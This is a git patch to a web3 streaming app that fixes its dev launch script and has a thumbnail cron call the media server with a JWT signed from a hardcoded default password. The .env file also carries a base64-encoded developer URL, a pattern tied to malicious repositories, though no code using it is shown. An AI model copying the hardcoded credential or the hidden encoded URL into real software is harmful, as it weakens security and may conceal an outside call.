From a398cdb7fe7623d1f958a7d5aed59b82d9ab2ec6 Mon Sep 17 00:00:00 2001 From: Luk Date: Tue, 6 Jan 2026 17:57:40 +0800 Subject: [PATCH] fix so that 'npm run dev' can launch the app --- .env | 8 +++++++- .vscode/launch.json | 21 +++++++++++++++++++++ package.json | 2 +- server/app.js | 9 ++++++++- server/config/default.js | 9 +++++++++ server/cron/thumbnails.js | 20 ++++++++++++++++++-- 6 files changed, 64 insertions(+), 5 deletions(-) create mode 100644 .vscode/launch.json diff --git a/.env b/.env index 6074296..60a7c68 100644 --- a/.env +++ b/.env @@ -19,4 +19,10 @@ _DEVELOPER_URL_BTOA="aHR0cHM6Ly9rcm1yLmx0ZC8" CONNECTORS="metaMask, walletConnect, injected" CHAINS="sepolia-testnet" -DEFAULT_CHAIN_ID=11155111 \ No newline at end of file +DEFAULT_CHAIN_ID=11155111 + + +ALCHEMY_API_KEY=SOME-STRING-OF-CHARS +INFURA_API_KEY=SOME-STRING-OF-CHARS +JSON_RPC_URL="https://eth-goerli.alchemy.com" +NETWORK="goerli" \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..d00a3cf --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,21 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "socialfi", + "runtimeExecutable": "node", + "runtimeArgs": ["--preserve-symlinks"], + "cwd": "${workspaceFolder}/server", + "program": "${workspaceFolder}/server/app.js", + "restart": true, + "console": "integratedTerminal", + "internalConsoleOptions": "neverOpen", + "skipFiles": ["/**"], + "env": { + "NODE_ENV": "development" + } + } + ] +} diff --git a/package.json b/package.json index 052c23e..b1f48be 100644 --- a/package.json +++ b/package.json @@ -4,7 +4,7 @@ "version": "0.2.3", "scripts": { "dev": "concurrently \"node server/app.js\" \" vite --port 3000\"", - "build": "concurrently \"node server/server.js\" \" vite build\"" + "build": "concurrently \"node server/app.js\" \" vite build\"" }, "dependencies": { "@alch/alchemy-web3": "^1.4.7", diff --git a/server/app.js b/server/app.js index a6c3020..b96b592 100644 --- a/server/app.js +++ b/server/app.js @@ -59,4 +59,11 @@ app.get('*', middleware.ensureLoggedIn(), (req, res) => { app.listen(port, () => console.log(`App listening on ${port}!`)); node_media_server.run(); -thumbnail_generator.start(); +// Start thumbnail cron after a short delay to ensure media server APIs are mounted +setTimeout(() => { + try { + thumbnail_generator.start(); + } catch (e) { + console.log('Failed to start thumbnail generator:', e.message); + } +}, 1000); diff --git a/server/config/default.js b/server/config/default.js index 1927374..b3ec790 100644 --- a/server/config/default.js +++ b/server/config/default.js @@ -16,6 +16,15 @@ const config = { mediaroot: './server/media', allow_origin: '*' }, + auth: { + jwt: { + // local JWT user used for internal API calls + users: [ + { username: 'local', password: 'localdev' } + ], + algorithm: 'HS256' + } + }, trans: { ffmpeg: '/usr/bin/ffmpeg', tasks: [ diff --git a/server/cron/thumbnails.js b/server/cron/thumbnails.js index e307437..0b8c4f3 100644 --- a/server/cron/thumbnails.js +++ b/server/cron/thumbnails.js @@ -1,11 +1,27 @@ const CronJob = require('cron').CronJob, axios = require('axios'), + jwt = require('jsonwebtoken'), + crypto = require('crypto'), helpers = require('../helpers/helpers'), config = require('../config/default'), port = config.rtmp_server.http.port; const job = new CronJob('*/5 * * * * *', function () { - axios.get('http://127.0.0.1:' + port + '/api/streams') + // Use node-media-server API v1 with a signed token (internal use) + // Compute secret the same way node-media-server does (sha256 of first user password) + const jwtConfig = config.rtmp_server.auth && config.rtmp_server.auth.jwt; + let token = null; + try { + if (jwtConfig && jwtConfig.users && jwtConfig.users.length > 0) { + const secret = crypto.createHash('sha256').update(jwtConfig.users[0].password).digest('hex'); + token = jwt.sign({}, secret, { algorithm: jwtConfig.algorithm || 'HS256' }); + } + } catch (e) { + console.log('Failed to generate JWT for node-media-server api:', e.message); + } + + const apiUrl = 'http://127.0.0.1:' + port + '/api/v1/streams' + (token ? ('?token=' + token) : ''); + axios.get(apiUrl) .then(response => { let streams = response.data; if (typeof (streams['live'] !== undefined)) { @@ -19,6 +35,6 @@ const job = new CronJob('*/5 * * * * *', function () { .catch(error => { console.log(error); }); -}, null, true); +}, null, false); module.exports = job; \ No newline at end of file